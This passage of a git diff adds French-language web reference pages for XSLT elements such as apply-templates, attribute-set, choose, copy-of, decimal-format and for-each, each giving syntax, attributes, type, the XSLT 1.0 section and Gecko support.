+   </td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/fr/web/xslt/apply-imports/index.html b/files/fr/web/xslt/apply-imports/index.html
new file mode 100644
index 0000000000..e2ee362904
--- /dev/null
+++ b/files/fr/web/xslt/apply-imports/index.html
@@ -0,0 +1,31 @@
+---
+title: apply-imports
+slug: Web/XSLT/apply-imports
+tags:
+  - Référence_XSLT
+translation_of: Web/XSLT/Element/apply-imports
+---
+<p>
+{{ XsltRef() }}
+</p><p><br>
+L'élément <code>&lt;xsl:apply-imports&gt;</code>, utilisé la plupart du temps dans les feuilles de styles complexes, est assez mystérieux. Les règles de priorité de l'importation imposent que les règles de modèles des feuilles de styles principales aient une priorité supérieure aux règles de modèles des feuilles de styles importées. Cependant, il est parfois utile de forcer le processeur à utiliser une règle de modèle de la feuille de styles importée (de priorité plus basse) plutôt que la règle équivalente de la feuille de styles principale.
+</p>
+<h3 id="Syntaxe" name="Syntaxe"> Syntaxe </h3>
+<pre class="eval">&lt;xsl:apply-imports/&gt;
+</pre>
+<h3 id="Attributs_obligatoires" name="Attributs_obligatoires"> Attributs obligatoires </h3>
+<p>Aucun.
+</p>
+<h3 id="Attributs_optionnels" name="Attributs_optionnels"> Attributs optionnels </h3>
+<p>Aucun.
+</p>
+<h3 id="Type" name="Type"> Type </h3>
+<p>Instruction, apparaît dans un modèle.
+</p>
+<h3 id="D.C3.A9finition" name="D.C3.A9finition"> Définition </h3>
+<p><a href="http://www.w3.org/TR/xslt#apply-imports" class="external">XSLT 1.0, section 5.6</a>.
+</p>
+<h3 id="Support_Gecko" name="Support_Gecko"> Support Gecko </h3>
+<p>Supportée.
+</p><p><span class="comment">Interwiki Languages Links</span>
+</p>{{ languages( { "en": "en/XSLT/apply-imports", "es": "es/XSLT/apply-imports", "pl": "pl/XSLT/apply-imports" } ) }}
diff --git a/files/fr/web/xslt/apply-templates/index.html b/files/fr/web/xslt/apply-templates/index.html
new file mode 100644
index 0000000000..fa76051fa5
--- /dev/null
+++ b/files/fr/web/xslt/apply-templates/index.html
@@ -0,0 +1,37 @@
+---
+title: apply-templates
+slug: Web/XSLT/apply-templates
+tags:
+  - Référence_XSLT
+translation_of: Web/XSLT/Element/apply-templates
+---
+<p>
+{{ XsltRef() }}
+</p><p><br>
+L'élément <code>&lt;xsl:apply-templates&gt;</code> sélectionne un ensemble de nœuds dans l'arbre d'entrée et demande au processeur de leur appliquer les modèles appropriés.
+</p>
+<h3 id="Syntaxe" name="Syntaxe"> Syntaxe </h3>
+<pre>&lt;xsl:apply-templates select=EXPRESSION mode=NOM&gt;
+	&lt;xsl:with-param&gt; [optionnel]
+	&lt;xsl:sort&gt; [optionnel]
+&lt;/xsl:apply-templates&gt;</pre>
+<h3 id="Attributs_obligatoires" name="Attributs_obligatoires"> Attributs obligatoires </h3>
+<p>Aucun.
+</p>
+<h3 id="Attributs_optionnels" name="Attributs_optionnels"> Attributs optionnels </h3>
+<dl><dt><code>select</code>
+</dt><dd>Utilise une expression XPath qui spécifie les nœuds qui doivent être traités. Une astérisque (<code>*</code>) sélectionne l'ensemble des nœuds. Si cet attribut n'est pas défini, tous les nœuds enfants du nœud courant sont sélectionnés.
+</dd></dl>
+<dl><dt><code>mode</code>
+</dt><dd>S'il existe plusieurs traitements définis pour un même nœud, permet de les différencier.
+</dd></dl>
+<h3 id="Type" name="Type"> Type </h3>
+<p>Instruction, apparaît dans un modèle.
+</p>
+<h3 id="D.C3.A9finition" name="D.C3.A9finition"> Définition </h3>
+<p><a href="http://www.w3.org/TR/xslt#section-Applying-Template-Rules" class="external">XSLT 1.0, section 5.4</a>.
+</p>
+<h3 id="Support_Gecko" name="Support_Gecko"> Support Gecko </h3>
+<p>Supporté.
+</p><p><span class="comment">Interwiki Languages Links</span>
+</p>{{ languages( { "en": "en/XSLT/apply-templates", "es": "es/XSLT/apply-templates", "pl": "pl/XSLT/apply-templates" } ) }}
diff --git a/files/fr/web/xslt/attribute-set/index.html b/files/fr/web/xslt/attribute-set/index.html
new file mode 100644
index 0000000000..2a85e1e8f6
--- /dev/null
+++ b/files/fr/web/xslt/attribute-set/index.html
@@ -0,0 +1,33 @@
+---
+title: attribute-set
+slug: Web/XSLT/attribute-set
+tags:
+  - Référence_XSLT
+translation_of: Web/XSLT/Element/attribute-set
+---
+<p>
+{{ XsltRef() }}
+</p><p>L'élément <code>&lt;xsl:attribute-set&gt;</code> crée un ensemble nommé d'attributs, qui peut être appliqué dans son intégralité au document de sortie, de façon similaire aux styles CSS nommés.
+</p>
+<h3 id="Syntaxe" name="Syntaxe"> Syntaxe </h3>
+<pre>&lt;xsl:attribute-set name=NOM use-attribute-sets=LISTE-DE-NOMS&gt;
+	&lt;xsl:attribute&gt;
+&lt;/xsl:attribute-set&gt;</pre>
+<h3 id="Attributs_obligatoires" name="Attributs_obligatoires"> Attributs obligatoires </h3>
+<dl><dt><code>name</code>
+</dt><dd>Définit le nom de l'ensemble d'attributs. Le nom doit être un <a href="http://www.w3.org/TR/REC-xml-names/#ns-qualnames" class="external">QName</a> valide.
+</dd></dl>
+<h3 id="Attributs_optionnels" name="Attributs_optionnels"> Attributs optionnels </h3>
+<dl><dt><code>use-attribute-sets</code>
+</dt><dd>Construit un ensemble d'attributs à partir d'autres ensembles d'attributs. Les noms des ensembles composants doivent être séparés par une espace et ils ne doivent pas s'inclure eux-mêmes directement ou indirectement.
+</dd></dl>
+<h3 id="Type" name="Type"> Type </h3>
+<p>Haut niveau, doit être l'enfant de <code>&lt;xsl:stylesheet&gt;</code> ou de <code>&lt;xsl:transform&gt;</code>.
+</p>
+<h3 id="D.C3.A9fini" name="D.C3.A9fini"> Défini </h3>
+<p><a href="http://www.w3.org/TR/xslt#attribute-sets" class="external">XSLT 1.0, section 7.1.4</a>.
+</p>
+<h3 id="Support_Gecko" name="Support_Gecko"> Support Gecko </h3>
+<p>Supporté.
+</p><p><span class="comment">Interwiki Languages Links</span>
+</p>{{ languages( { "en": "en/XSLT/attribute-set", "es": "es/XSLT/attribute-set", "pl": "pl/XSLT/attribute-set" } ) }}
diff --git a/files/fr/web/xslt/attribute/index.html b/files/fr/web/xslt/attribute/index.html
new file mode 100644
index 0000000000..3a5e5f1640
--- /dev/null
+++ b/files/fr/web/xslt/attribute/index.html
@@ -0,0 +1,33 @@
+---
+title: attribute
+slug: Web/XSLT/attribute
+tags:
+  - Référence_XSLT
+translation_of: Web/XSLT/Element/attribute
+---
+<p>
+{{ XsltRef() }}
+</p><p>L'élément <code>&lt;xsl:attribute&gt;</code> crée un attribut dans le document de sortie, en utilisant n'importe quelle donnée accessible depuis la feuille de styles. L'élément <b>doit</b> être la première chose définie dans l'élément du document de sortie pour lequel il détermine les valeurs d'attributs.
+</p>
+<h3 id="Syntaxe" name="Syntaxe"> Syntaxe </h3>
+<pre>&lt;xsl:attribute name=NOM namespace=URI&gt;
+	MODÈLE
+&lt;/xsl:attribute&gt;</pre>
+<h3 id="Attributs_obligatoires" name="Attributs_obligatoires"> Attributs obligatoires </h3>
+<dl><dt><code>name</code>
+</dt><dd>Définit le nom de l'attribut à créer dans le document de sortie. Le nom doit être un <a href="http://www.w3.org/TR/REC-xml-names/#ns-qualnames" class="external">QName</a> valide.
+</dd></dl>
+<h3 id="Attributs_optionnels" name="Attributs_optionnels"> Attributs optionnels </h3>
+<dl><dt><code>namespace</code>
+</dt><dd>Définit l'URI de l'espace de nommage pour cet attribut dans le document de sortie. Vous ne pouvez pas définir le préfixe de l'espace de nommage correspondant avec cet élément.
+</dd></dl>
+<h3 id="Type" name="Type"> Type </h3>
+<p>Instruction, apparaît dans un modèle ou dans un élément <code>&lt;xsl:attribute-set&gt;</code>.
+</p>
+<h3 id="D.C3.A9finition" name="D.C3.A9finition"> Définition </h3>
+<p><a href="http://www.w3.org/TR/xslt#creating-attributes" class="external">XSLT 1.0, section 7.1.3</a>.
+</p>
+<h3 id="Support_Gecko" name="Support_Gecko"> Support Gecko </h3>
+<p>Supporté.
+</p><p><span class="comment">Interwiki Languages Links</span>
+</p>{{ languages( { "en": "en/XSLT/attribute", "es": "es/XSLT/attribute", "pl": "pl/XSLT/attribute" } ) }}
diff --git a/files/fr/web/xslt/call-template/index.html b/files/fr/web/xslt/call-template/index.html
new file mode 100644
index 0000000000..12daa615fc
--- /dev/null
+++ b/files/fr/web/xslt/call-template/index.html
@@ -0,0 +1,32 @@
+---
+title: call-template
+slug: Web/XSLT/call-template
+tags:
+  - Référence_XSLT
+translation_of: Web/XSLT/Element/call-template
+---
+<p>
+{{ XsltRef() }}
+</p><p>L'élément <code>&lt;xsl:call-template&gt;</code> invoque un modèle nommé.
+</p>
+<h3 id="Syntaxe" name="Syntaxe"> Syntaxe </h3>
+<pre>&lt;xsl:call-template name=NOM&gt;
+	&lt;xsl:with-param&gt; [optionnel]
+&lt;/xsl:call-template&gt; </pre>
+<h3 id="Attribut_obligatoire" name="Attribut_obligatoire"> Attribut obligatoire </h3>
+<dl><dt><code>name</code>
+</dt><dd>Définit le nom du modèle à invoquer.
+</dd></dl>
+<h3 id="Attributs_optionnels" name="Attributs_optionnels"> Attributs optionnels </h3>
+<p>Aucun.
+</p>
+<h3 id="Type" name="Type"> Type </h3>
+<p>Instruction, apparaît dans un modèle.
+</p>
+<h3 id="D.C3.A9finition" name="D.C3.A9finition"> Définition </h3>
+<p><a href="http://www.w3.org/TR/xslt#named-templates" class="external">XSLT 1.0, section 6</a>.
+</p>
+<h3 id="Support_Gecko" name="Support_Gecko"> Support Gecko </h3>
+<p>Supporté.
+</p><p><span class="comment">Interwiki Languages Links</span>
+</p>{{ languages( { "en": "en/XSLT/call-template", "es": "es/XSLT/call-template", "pl": "pl/XSLT/call-template" } ) }}
diff --git a/files/fr/web/xslt/choose/index.html b/files/fr/web/xslt/choose/index.html
new file mode 100644
index 0000000000..4fde3f3695
--- /dev/null
+++ b/files/fr/web/xslt/choose/index.html
@@ -0,0 +1,32 @@
+---
+title: choose
+slug: Web/XSLT/choose
+tags:
+  - Référence_XSLT
+translation_of: Web/XSLT/Element/choose
+---
+<p>
+{{ XsltRef() }}
+</p><p><br>
+L'élément <code>&lt;xsl:choose&gt;</code> définit un choix parmi un certain nombre d'alternatives. Il se comporte comme l'instruction switch d'un langage procédural.
+</p>
+<h3 id="Syntaxe" name="Syntaxe"> Syntaxe </h3>
+<pre>&lt;xsl:choose&gt;
+	&lt;xsl:when&gt;
+	&lt;xsl:otherwise&gt; [optionnel]
+&lt;/&lt;xsl:choose&gt;</pre> <h3 id="Attributs_obligatoires" name="Attributs_obligatoires"> Attributs obligatoires </h3>
+<p>Aucun.
+</p>
+<h3 id="Attributs_optionnels" name="Attributs_optionnels"> Attributs optionnels </h3>
+<p>Aucun.
+</p>
+<h3 id="Type" name="Type"> Type </h3>
+<p>Instruction, apparaît dans un modèle. Il contient un ou plusieurs éléments <code>&lt;xsl:when&gt;</code>, et éventuellement un élément final <code>&lt;xsl:otherwise&gt;</code>.
+</p>
+<h3 id="D.C3.A9finition" name="D.C3.A9finition"> Définition </h3>
+<p><a href="http://www.w3.org/TR/xslt#section-Conditional-Processing-with-xsl:choose" class="external">XSLT 1.0, section 9.2</a>.
+</p>
+<h3 id="Support_Gecko" name="Support_Gecko"> Support Gecko </h3>
+<p>Supporté.
+</p><p><span class="comment">Interwiki Languages Links</span>
+</p>{{ languages( { "en": "en/XSLT/choose", "es": "es/XSLT/choose", "pl": "pl/XSLT/choose" } ) }}
diff --git a/files/fr/web/xslt/comment/index.html b/files/fr/web/xslt/comment/index.html
new file mode 100644
index 0000000000..65dcd3ad2c
--- /dev/null
+++ b/files/fr/web/xslt/comment/index.html
@@ -0,0 +1,31 @@
+---
+title: comment
+slug: Web/XSLT/comment
+tags:
+  - Référence_XSLT
+translation_of: Web/XSLT/Element/comment
+---
+<p>
+{{ XsltRef() }}
+</p><p>L'élément <code>&lt;xsl:comment&gt;</code> écrit un commentaire dans le document de sortie. Il ne doit contenir que du texte.
+</p>
+<h3 id="Syntaxe" name="Syntaxe"> Syntaxe </h3>
+<pre>&lt;xsl:comment&gt;
+	MODÈLE
+&lt;/xsl:comment&gt; </pre>
+<h3 id="Attributs_obligatoires" name="Attributs_obligatoires"> Attributs obligatoires </h3>
+<p>Aucun.
+</p>
+<h3 id="Attributs_optionnels" name="Attributs_optionnels"> Attributs optionnels </h3>
+<p>Aucun.
+</p>
+<h3 id="Type" name="Type"> Type </h3>
+<p>Instruction, apparaît dans un modèle.
+</p>
+<h3 id="D.C3.A9finition" name="D.C3.A9finition"> Définition </h3>
+<p><a href="http://www.w3.org/TR/xslt#section-Creating-Comments" class="external">XSLT 1.0, section 7.4</a>.
+</p>
+<h3 id="Support_Gecko" name="Support_Gecko"> Support Gecko </h3>
+<p>Supporté.
+</p><p><span class="comment">Interwiki Languages Links</span>
+</p>{{ languages( { "en": "en/XSLT/comment", "es": "es/XSLT/comment", "pl": "pl/XSLT/comment" } ) }}
diff --git a/files/fr/web/xslt/copy-of/index.html b/files/fr/web/xslt/copy-of/index.html
new file mode 100644
index 0000000000..624972c55f
--- /dev/null
+++ b/files/fr/web/xslt/copy-of/index.html
@@ -0,0 +1,31 @@
+---
+title: copy-of
+slug: Web/XSLT/copy-of
+tags:
+  - Référence_XSLT
+translation_of: Web/XSLT/Element/copy-of
+---
+<p>
+{{ XsltRef() }}
+</p><p>L'élément <code>&lt;xsl:copy-of&gt;</code> fait une copie complète dans le document de sortie (incluant les nœuds enfants) de tout ce que l'élément sélectionné spécifie.
+</p>
+<h3 id="Syntaxe" name="Syntaxe"> Syntaxe </h3>
+<pre class="eval">&lt;xsl:copy-of select=EXPRESSION /&gt;
+</pre>
+<h3 id="Attributs_obligatoires" name="Attributs_obligatoires"> Attributs obligatoires </h3>
+<dl><dt><code>select</code>
+</dt><dd>Utilise une expression XPath qui spécifie les éléments à copier.
+</dd></dl>
+<h3 id="Attributs_optionnels" name="Attributs_optionnels"> Attributs optionnels </h3>
+<p>Aucun.
+</p>
+<h3 id="Type" name="Type"> Type </h3>
+<p>Instruction, apparaît dans un modèle.
+</p>
+<h3 id="D.C3.A9finition" name="D.C3.A9finition"> Définition </h3>
+<p><a href="http://www.w3.org/TR/xslt#copy-of" class="external">XSLT 1.0, section 11.3</a>.
+</p>
+<h3 id="Support_Gecko" name="Support_Gecko"> Support Gecko </h3>
+<p>Supporté.
+</p><p><span class="comment">Interwiki Languages links</span>
+</p>{{ languages( { "en": "en/XSLT/copy-of", "es": "es/XSLT/copy-of", "pl": "pl/XSLT/copy-of" } ) }}
diff --git a/files/fr/web/xslt/copy/index.html b/files/fr/web/xslt/copy/index.html
new file mode 100644
index 0000000000..10710be024
--- /dev/null
+++ b/files/fr/web/xslt/copy/index.html
@@ -0,0 +1,32 @@
+---
+title: copy
+slug: Web/XSLT/copy
+tags:
+  - Référence_XSLT
+translation_of: Web/XSLT/Element/copy
+---
+<p>
+{{ XsltRef() }}
+</p><p>L'élément <code>&lt;xsl:copy&gt;</code> transfert une copie limitée (le nœud et tous les nœuds d'espace de nommage associés) du nœud courant vers le document de sortie. Il ne copie aucun enfant ni attribut du nœud courant.
+</p>
+<h3 id="Syntaxe" name="Syntaxe"> Syntaxe </h3>
+<pre>&lt;xsl:copy use-attribute-sets=LISTE-DE-NOMS&gt;
+	MODÈLE
+&lt;/xsl:copy&gt;</pre>
+<h3 id="Attributs_obligatoires" name="Attributs_obligatoires"> Attributs obligatoires </h3>
+<p>Aucun.
+</p>
+<h3 id="Attributs_optionnels" name="Attributs_optionnels"> Attributs optionnels </h3>
+<dl><dt><code>use-attribute-sets</code>
+</dt><dd>Liste les ensembles d'attributs qui doivent être appliqués au nœud de sortie, si c'est un élément. Les noms des ensembles doivent être séparés par des espaces.
+</dd></dl>
+<h3 id="Type" name="Type"> Type </h3>
+<p>Instruction, apparaît dans un modèle.
+</p>
+<h3 id="D.C3.A9finition" name="D.C3.A9finition"> Définition </h3>
+<p><a href="http://www.w3.org/TR/xslt#copying" class="external">XSLT 1.0, section 7.5</a>.
+</p>
+<h3 id="Support_Gecko" name="Support_Gecko"> Support Gecko </h3>
+<p>Supporté.
+</p><p><span class="comment">Interwiki Languages Links</span>
+</p>{{ languages( { "en": "en/XSLT/copy", "es": "es/XSLT/copy", "pl": "pl/XSLT/copy" } ) }}
diff --git a/files/fr/web/xslt/decimal-format/index.html b/files/fr/web/xslt/decimal-format/index.html
new file mode 100644
index 0000000000..7a324d1082
--- /dev/null
+++ b/files/fr/web/xslt/decimal-format/index.html
@@ -0,0 +1,71 @@
+---
+title: decimal-format
+slug: Web/XSLT/decimal-format
+tags:
+  - Référence_XSLT
+translation_of: Web/XSLT/Element/decimal-format
+---
+<p>
+{{ XsltRef() }}
+</p><p>L'élément <code>&lt;xsl:decimal-format&gt;</code> définit les caractères et symboles à utiliser lors de la conversion de nombres en chaînes à l'aide de la fonction <code>format-number( )</code>.
+</p>
+<h3 id="Syntaxe" name="Syntaxe"> Syntaxe </h3>
+<pre>&lt;xsl:decimal-format
+	name=NOM
+	decimal-separator=CARACTÈRE
+	grouping-separator=CARACTÈRE
+	infinity=CHAÎNE
+	minus-sign=CARACTÈRE
+	NaN=CHAÎNE
+	percent=CARACTÈRE
+	per-mille=CARACTÈRE
+	zero-digit=CARACTÈRE
+	digit=CARACTÈRE
+	pattern-separator=CARACTÈRE /&gt;</pre>
+<h3 id="Attributs_obligatoires" name="Attributs_obligatoires"> Attributs obligatoires </h3>
+<p>Aucun.
+</p>
+<h3 id="Attributs_optionnels" name="Attributs_optionnels"> Attributs optionnels </h3>
+<dl><dt><code>name</code>
+</dt><dd>Définit un nom pour ce format.
+</dd></dl>
+<dl><dt><code>decimal-separator</code>
+</dt><dd>Définit le caractère séparateur des décimales. Le caractère par défaut est (<code>.</code>).
+</dd></dl>
+<dl><dt><code>grouping-separator</code>
+</dt><dd>Définit le caractère séparateur des milliers. Le caractère par défaut est (<code>,</code>).
+</dd></dl>
+<dl><dt><code>infinity</code>
+</dt><dd>Définit la chaîne utilisée pour représenter l'infini. La chaîne par défaut est "<code>Infinity</code>".
+</dd></dl>
+<dl><dt><code>minus-sign</code>
+</dt><dd>Définit le caractère du signe moins. Le caractère par défaut est le trait d'union (<code>-</code>).
+</dd></dl>
+<dl><dt><code>NaN</code>
+</dt><dd>Définit la chaîné utilisée lorsque la valeur n'est pas un nombre. La chaîne par défaut est "<code>NaN</code>".
+</dd></dl>
+<dl><dt><code>percent</code>
+</dt><dd>Définit le caractère du signe pourcentage. Le caractère par défaut est (<code>%</code>).
+</dd></dl>
+<dl><dt><code>per-mille</code>
+</dt><dd>Définit le caractère signe pour mille. Le caractère par défaut est (<code>‰</code>).
+</dd></dl>
+<dl><dt><code>zero-digit</code>
+</dt><dd>Définit le caractère pour le chiffre 0. Le caractère par défaut est (<code>0</code>).
+</dd></dl>
+<dl><dt><code>digit</code>
+</dt><dd>Définit le caractère représentant un nombre dans le modèle de format. Le caractère par défaut est (<code>#</code>).
+</dd></dl>
+<dl><dt><code>pattern-separator</code>
+</dt><dd>Définit le caractère séparant les sous-modèles positifs et négatifs dans le modèle de format. Le caractère par défaut est le point-virgule (<code>;</code>).
+</dd></dl>
+<h3 id="Type" name="Type"> Type </h3>
+<p>Haut niveau, doit être l'enfant de <code>&lt;xsl:stylesheet&gt;</code> ou de <code>&lt;xsl:transform&gt;</code>.
+</p>
+<h3 id="D.C3.A9finition" name="D.C3.A9finition"> Définition </h3>
+<p><a href="http://www.w3.org/TR/xslt#format-number" class="external">XSLT 1.0, section 12.3</a>.
+</p>
+<h3 id="Support_Gecko" name="Support_Gecko"> Support Gecko </h3>
+<p>Supporté depuis 1.0 (Mozilla 1.0, Netscape 7.0).
+</p><p><span class="comment">INterwiki Languages Links</span>
+</p>{{ languages( { "en": "en/XSLT/decimal-format", "es": "es/XSLT/decimal-format", "pl": "pl/XSLT/decimal-format" } ) }}
diff --git a/files/fr/web/xslt/element/element/index.html b/files/fr/web/xslt/element/element/index.html
new file mode 100644
index 0000000000..0af282e46e
--- /dev/null
+++ b/files/fr/web/xslt/element/element/index.html
@@ -0,0 +1,35 @@
+---
+title: element
+slug: Web/XSLT/Element/element
+tags:
+  - Référence_XSLT
+translation_of: Web/XSLT/Element/element
+---
+<p>
+{{ XsltRef() }}
+</p><p>L'élément <code>&lt;xsl:element&gt;</code> crée un élément dans le document de sortie.
+</p>
+<h3 id="Syntaxe" name="Syntaxe"> Syntaxe </h3>
+<pre>&lt;xsl:element name=NOM namespace=URI use-attribute-sets=LISTE-DE-NOMS &gt;
+	MODÈLE
+&lt;/xsl:element&gt;</pre>
+<h3 id="Attribut_obligatoire" name="Attribut_obligatoire"> Attribut obligatoire </h3>
+<dl><dt><code>name</code>
+</dt><dd>Définit le nom voulu pour l'élément de sortie. Le nom doit être un QName valide.
+</dd></dl>
+<h3 id="Attributs_optionnels" name="Attributs_optionnels"> Attributs optionnels </h3>
+<dl><dt><code>namespace</code>
+</dt><dd>Définit l'espace de nommage de l'élément de sortie.
+</dd><dt><code>use-attribute-sets</code>
+</dt><dd>Liste les ensembles d'attributs nommés à utiliser dans le document de sortie. Les noms doivent être séparés par des espaces.
+</dd></dl>
+<h3 id="Type" name="Type"> Type </h3>
+<p>Instruction, apparaît dans un modèle.
+</p>
+<h3 id="D.C3.A9finition" name="D.C3.A9finition"> Définition </h3>
+<p><a href="http://www.w3.org/TR/xslt#section-Creating-Elements-with-xsl:element" class="external">XSLT 1.0, section 7.1.2</a>.
+</p>
+<h3 id="Support_Gecko" name="Support_Gecko"> Support Gecko </h3>
+<p>Supporté.
+</p><p><span class="comment">Interwiki Languages Links</span>
+</p>{{ languages( { "en": "en/XSLT/element", "es": "es/XSLT/element", "pl": "pl/XSLT/element" } ) }}
diff --git a/files/fr/web/xslt/element/index.html b/files/fr/web/xslt/element/index.html
new file mode 100644
index 0000000000..f1c49a31ab
--- /dev/null
+++ b/files/fr/web/xslt/element/index.html
@@ -0,0 +1,58 @@
+---
+title: Éléments
+slug: Web/XSLT/Element
+tags:
+  - Référence_XSLT
+translation_of: Web/XSLT/Element
+---
+<p> </p>
+<p>{{ XsltRef() }} Ce document traite de deux types d'éléments : les éléments de haut niveau, et les instructions. Un élément de haut niveau doit toujours apparaître en tant qu'enfant de <code>&lt;xsl:stylesheet&gt;</code> ou de <code>&lt;xsl:transform&gt;</code>. Une instruction, de son côté, est associée à un modèle. Une feuille de style peut comporter plusieurs modèles. Un troisième type d'élément, que nous n'aborderons pas ici, est le « Literal Result Element (LRE) ». Un LRE appartient également à un modèle. Le terme regroupe tout ce qui n'est pas une instruction et qui doit être recopié tel-quel dans le document de sortie, par exemple, un élément <code>&lt;hr&gt;</code> dans feuille de style de conversion HTML.</p>
+<p>A ce propos, tous les attributs d'un LRE et certains attributs d'un nombre limité d'éléments XSLT peuvent inclure ce que l'on appelle un modèle de valeur d'attribut. Un modèle de valeur d'attribut est simplement une chaîne qui intègre une expression XPath utilisée pour spécifier la valeur de l'attribut. Lors de l'exécution, l'expression est évaluée et le résultat de cette évaluation est substitué à l'expression XPath. Par exemple, considérons que variable « &lt;tt&gt;image-dir&lt;/tt&gt; » est définie comme ci-dessous :</p>
+<pre class="eval">&lt;xsl:variable name="image-dir"&gt;/images&lt;/xsl:variable&gt;
+</pre>
+<p>L'expression a évaluer est placée entre accolades :</p>
+<pre class="eval">&lt;img src="{$image-dir}/mygraphic.jpg"/&gt;
+</pre>
+<p>Ce qui donnera :</p>
+<pre class="eval">&lt;img src="/images/mygraphic.jpg"/&gt;
+</pre>
+<p>Les définitions des éléments ci-dessous incluent une description, la syntaxe, une liste des attributs requis ou optionnels, une description du type et de la position, les sources dans la recommandation du W3C et le niveau de support actuel dans Gecko.</p>
+<ul>
+  <li><a href="apply-imports">xsl:apply-imports</a></li>
+  <li><a href="apply-templates">xsl:apply-templates</a></li>
+  <li><a href="attribute">xsl:attribute</a></li>
+  <li><a href="attribute-set">xsl:attribute-set</a></li>
+  <li><a href="call-template">xsl:call-template</a></li>
+  <li><a href="choose">xsl:choose</a></li>
+  <li><a href="comment">xsl:comment</a></li>
+  <li><a href="copy">xsl:copy</a></li>
+  <li><a href="copy-of">xsl:copy-of</a></li>
+  <li><a href="decimal-format">xsl:decimal-format</a></li>
+  <li><a href="element">xsl:element</a></li>
+  <li><a href="fallback">xsl:fallback</a> <i>(non supporté)</i></li>
+  <li><a href="for-each">xsl:for-each</a></li>
+  <li><a href="if">xsl:if</a></li>
+  <li><a href="import">xsl:import</a> <i>(supporté)</i></li>
+  <li><a href="include">xsl:include</a></li>
+  <li><a href="key">xsl:key</a></li>
+  <li><a href="message">xsl:message</a></li>
+  <li><a href="namespace-alias">xsl:namespace-alias</a> <i>(non supporté)</i></li>
+  <li><a href="number">xsl:number</a> <i>(partiellement supporté)</i></li>
+  <li><a href="otherwise">xsl:otherwise</a></li>
+  <li><a href="output">xsl:output</a> <i>(partiellement supporté)</i></li>
+  <li><a href="param">xsl:param</a></li>
+  <li><a href="preserve-space">xsl:preserve-space</a></li>
+  <li><a href="processing-instruction">xsl:processing-instruction</a></li>
+  <li><a href="sort">xsl:sort</a></li>
+  <li><a href="strip-space">xsl:strip-space</a></li>
+  <li><a href="stylesheet">xsl:stylesheet</a> <i>(partiellement supporté)</i></li>
+  <li><a href="template">xsl:template</a></li>
+  <li><a href="text">xsl:text</a> <i>(partiellement supporté)</i></li>
+  <li><a href="transform">xsl:transform</a></li>
+  <li><a href="value-of">xsl:value-of</a> <i>(partiellement supporté)</i></li>
+  <li><a href="variable">xsl:variable</a></li>
+  <li><a href="when">xsl:when</a></li>
+  <li><a href="with-param">xsl:with-param</a></li>
+</ul>
+<p><span class="comment">Interwiki Languages Links</span></p>
+<p>{{ languages( { "en": "en/XSLT/Elements", "ja": "ja/XSLT/Elements", "pl": "pl/XSLT/Elementy" } ) }}</p>
diff --git a/files/fr/web/xslt/fallback/index.html b/files/fr/web/xslt/fallback/index.html
new file mode 100644
index 0000000000..495ac3a99d
--- /dev/null
+++ b/files/fr/web/xslt/fallback/index.html
@@ -0,0 +1,30 @@
+---
+title: fallback
+slug: Web/XSLT/fallback
+tags:
+  - Référence_XSLT
+translation_of: Web/XSLT/Element/fallback
+---
+<p>
+{{ XsltRef() }}
+</p><p>L'élément <code>&lt;xsl:fallback&gt;</code> définit le modèle à utiliser si un élément d'extension donné (ou, éventuellement, une nouvelle version) n'est pas supporté.
+</p>
+<h3 id="Syntaxe" name="Syntaxe"> Syntaxe </h3>
+<pre>&lt;xsl:fallback&gt;
+	MODÈLE
+&lt;/xsl:fallback&gt;</pre> <h3 id="Attributs_obligatoires" name="Attributs_obligatoires"> Attributs obligatoires </h3>
+<p>Aucun.
+</p>
+<h3 id="Attributs_optionnels" name="Attributs_optionnels"> Attributs optionnels </h3>
+<p>Aucun.
+</p>
+<h3 id="Type" name="Type"> Type </h3>
+<p>Instruction, apparaît dans un modèle.
+</p>
+<h3 id="D.C3.A9finition" name="D.C3.A9finition"> Définition </h3>
+<p><a href="http://www.w3.org/TR/xslt#fallback" class="external">XSLT 1.0, section 15</a>.
+</p>
+<h3 id="Gecko_support" name="Gecko_support"> Gecko support </h3>
+<p>Pas encore supporté.
+</p><p><span class="comment">Interwiki Languages Links</span>
+</p>{{ languages( { "en": "en/XSLT/fallback", "es": "es/XSLT/fallback", "pl": "pl/XSLT/fallback" } ) }}
diff --git a/files/fr/web/xslt/for-each/index.html b/files/fr/web/xslt/for-each/index.html
new file mode 100644
index 0000000000..df76ed47f2
--- /dev/null
+++ b/files/fr/web/xslt/for-each/index.html
@@ -0,0 +1,32 @@
+---
+title: for-each
+slug: Web/XSLT/for-each
+tags:
+  - Référence_XSLT
+translation_of: Web/XSLT/Element/for-each
+---
+<p>
+{{ XsltRef() }}
+</p><p>L'élément <code>&lt;xsl:for-each&gt;</code> sélectionne un ensemble de nœuds et traite chacun d'eux de la même façon. Il est souvent utilisé pour des itérations sur un ensemble de nœuds ou pour changer le nœud courant. Si un ou plusieurs éléments <code>&lt;xsl:sort&gt;</code> apparaissent comme enfants de cet élément, le tri est effectué avant le traitement. Autrement, les nœuds sont traités dans l'ordre d'apparition dans le document.
+</p>
+<h3 id="Syntaxe" name="Syntaxe"> Syntaxe </h3>
+<pre>&lt;xsl:for-each select=EXPRESSION&gt;
+	&lt;xsl:sort&gt; [optionnel]
+	MODÈLE
+&lt;/xsl:for-each&gt;</pre> <h3 id="Attribut_obligatoire" name="Attribut_obligatoire"> Attribut obligatoire </h3>
+<dl><dt><code>select</code>
+</dt><dd>Utilise une expression XPath pour spécifier les nœuds qui doivent être traités.
+</dd></dl>
+<h3 id="Attributs_optionnels" name="Attributs_optionnels"> Attributs optionnels </h3>
+<p>Aucun.
+</p>
+<h3 id="Type" name="Type"> Type </h3>
+<p>Instruction, apparaît dans un modèle.
+</p>
+<h3 id="D.C3.A9finition" name="D.C3.A9finition"> Définition </h3>
+<p><a href="http://www.w3.org/TR/xslt#for-each" class="external">XSLT 1.0, section 8</a>.
+</p>
+<h3 id="Support_Gecko" name="Support_Gecko"> Support Gecko </h3>
+<p>Supporté.
+</p><p><span class="comment">Interwiki Languages Links</span>
+</p>{{ languages( { "en": "en/XSLT/for-each", "es": "es/XSLT/for-each", "pl": "pl/XSLT/for-each" } ) }}
diff --git a/files/fr/web/xslt/if/index.html b/files/fr/web/xslt/if/index.html
new file mode 100644
index 0000000000..dd6c6f83bc
--- /dev/null
+++ b/files/fr/web/xslt/if/index.html
@@ -0,0 +1,32 @@
+---
+title: if
+slug: Web/XSLT/if
+tags:
+  - Référence_XSLT
+translation_of: Web/XSLT/Element/if
+---
+<p>
+{{ XsltRef() }}
